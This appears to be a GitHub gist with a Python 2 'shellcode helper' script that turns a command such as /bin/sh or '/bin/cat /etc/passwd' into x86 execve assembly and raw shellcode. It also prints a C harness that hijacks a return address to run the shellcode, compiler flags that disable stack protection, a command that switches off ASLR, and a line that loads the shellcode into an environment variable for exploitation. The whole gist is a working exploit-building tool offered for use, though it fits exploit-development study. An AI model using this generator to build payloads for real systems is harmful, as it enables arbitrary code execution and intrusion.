Skip to content

Instantly share code, notes, and snippets.

@EdoardoVignati
Last active November 12, 2018 17:52
Show Gist options
  • Select an option

  • Save EdoardoVignati/fe7ceb47a25a6cfb085ba7eab902adfc to your computer and use it in GitHub Desktop.

Select an option

Save EdoardoVignati/fe7ceb47a25a6cfb085ba7eab902adfc to your computer and use it in GitHub Desktop.
Shellcode helper. Generate push instructions, assembly code or the shellcode for execve - AT&T
#!/usr/bin/env python
# This code allow you to generate the assembly instruction
# for shellcodes with execve. Giving in input a command (ex /bin/sh)
# it generates the corresponding push instructions in AT&T assembly.
import sys
import os
list_ofcmd=[]
def getCode(push_instr):
toPrint=".text\n"
toPrint+=".globl _start\n"
toPrint+="_start:\n"
toPrint+="\txor\t%edx,%edx\n"
toPrint+="\tpush\t%edx\n"
toPrint+=push_instr
toPrint+="\tmov\t%esp,%ecx\t## Second argument\n"
toPrint+="\tpush\t%edx\t\t## zero\n"
if(len(list_ofcmd)>1):
toPrint+="\tpush\t%ecx\t\t## pointer to second argument\n"
toPrint+="\tpush\t%ebx\t\t## pointer to first argument\n"
toPrint+="\tmov\t%esp,%ecx\t## start of execve\n"
toPrint+="\txor\t%eax,%eax\n"
toPrint+="\tmovb\t$0xb,%al\t## syscall 11\n"
toPrint+="\tint\t$0x80\n"
return toPrint
def getShellCode(push_instr):
fileName="newExecveAssemblyFile"
file1 = open(fileName+".s","w")
file1.write(getCode(push_instr))
file1.close()
shellcode="objdump -d "+fileName+" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d ' '| tr -s ' '"
shellcode+="| tr '\t' ' '| sed 's/ $//g' | sed 's/ /\\\\x/g' | paste -d '' -s | sed 's/^//' | sed 's/$//g' > newExecveShellcode"
bashCommand="as --gstabs "+fileName+".s -o "+fileName+".o ; ld "+fileName+".o -o "+fileName + ";" + shellcode
os.system(bashCommand)
file = open("newExecveShellcode","r")
output=file.read()
metainfo = "\nShellcode length: "+ str(output.count("x")) +"\n"
os.remove(fileName)
os.remove(fileName+".o")
os.remove(fileName+".s")
os.remove("newExecveShellcode")
metainfo+="\n########################################"
metainfo+="\nTo try this shellcode please save this C code as ShellCodeExecuter.c:"
metainfo+="\n########################################"
metainfo+="\n char shellcode[]=\""+ output[:-1] +"\";"
metainfo+="\n\tvoid main(){\n\tint *ret;"
metainfo+="\n\tret = (int*) &ret + 2;"
metainfo+="\n\t*ret = (int) shellcode;\n}"
metainfo+="\n\n########################################"
metainfo+="\nThen compile and run it with:"
metainfo+="\n########################################"
metainfo+="\n $ gcc -g -fno-stack-protector -z execstack -mpreferred-stack-boundary=2"
metainfo+=" ./ShellCodeExecuter.c -o ShellCodeExecuter; ./ShellCodeExecuter\n"
metainfo+="\n########################################"
metainfo+="\nRemember to de-randomize the stack with:"
metainfo+="\n########################################"
metainfo+="\n $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space"
metainfo+="\n\n########################################"
metainfo+="\nTo export the shellcode into an env variable please use this:"
metainfo+="\n########################################"
metainfo+="\n $ export ENVSHELLCODE=$(python -c 'print \""+ output[:-1] + "\"')\n\n"
return output+metainfo
if __name__=="__main__":
try:
list_ofpadding=[]
list_ofposition=[]
getshellcode=False
getcode=False
argum=len(sys.argv)
if(argum==1):
print("\nThis code allows you to generate the assembly instructions")
print("for shellcodes. Giving in input a command (ex. /bin/sh)");
print("it generates the corresponding push instructions in AT&T assembly or the entire shellcode.")
print("\n USAGE:\n")
print(" $./pushgen.py 'command/argument':'padding':'before/after' ... [--ascode | --shellcode]")
print("\n command/argument - A binary (ex. /bin/cat) or its argument")
print(" padding - A char to be used to align at 4 byte the stack push instructions")
print(" b/a - Where to put the padding, if before or after the command")
print(" --ascode - To generate the entire assembly code")
print(" --shellcode - To generate the entire shellcode")
print(" --brute - To generate the entire shellcode")
print("\n ex. $ ./pushgen.py /bin/cat:/:b /etc/passwd:/:b --shellcode")
else:
print("\nYour commands: ")
print("---------------")
i=1
for a in range(1,argum):
if(sys.argv[a]=="--shellcode"):
getshellcode=True
elif(sys.argv[a]=="--ascode"):
getcode=True
else:
a,b,c=sys.argv[a].split(":")
list_ofcmd.append(a)
list_ofpadding.append(b[0])
list_ofposition.append(c[0])
if(len(list_ofcmd)>2):
print("\nSorry, you can specify a <command + argument> or <command>")
print("I cannot manage more then 1 argument")
quit()
if(c[0]=="a"):
print(str(i) + ") [cmd: " + a + "] [padding: " + b + "]")
else:
print(str(i) + ") [padding: " + b + "] [cmd: " + a + "]")
i+=1
print("\n")
genpush="";
for j in range(len(list_ofcmd)):
key=list_ofcmd[j]
value=list_ofpadding[j]
position=list_ofposition[j]
chars=[]
i=0
for i in range (len(key)):
chars.append(key[i].encode("hex"))
i+=1
i=0
comm=""
remain = len(chars)%8
revchars=reversed(chars)
for c in revchars:
if(i%4==0):
genpush+="\tpush\t$0x"
if(i==0 and position[0]=="a"):
tomultiple=((4-remain)%4)
genpush+=value.encode("hex") * tomultiple
comm+=value * tomultiple
i=tomultiple
comm+=c.decode("hex")
genpush+=c
if(len(key)-i==1 and position[0]=="b"):
tomultiple=((4-remain)%4)
genpush+=value.encode("hex") * tomultiple
comm+=value * tomultiple
genpush+="\t## " + comm
comm=""
genpush+="\n"
elif(i%4==3):
genpush+="\t## " + comm
comm=""
genpush+="\n"
i+=1
if(j<1 and (getcode or getshellcode)):
genpush+="\tmov\t%esp,%ebx\t##First argument\n"
genpush+="\tpush\t%edx\n"
genpush+="\n"
genpush+="\n"
if getcode:
print getCode(genpush)
if getshellcode:
print getShellCode(genpush)
if(not getcode and not getshellcode):
print(genpush)
except:
print("\nError")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment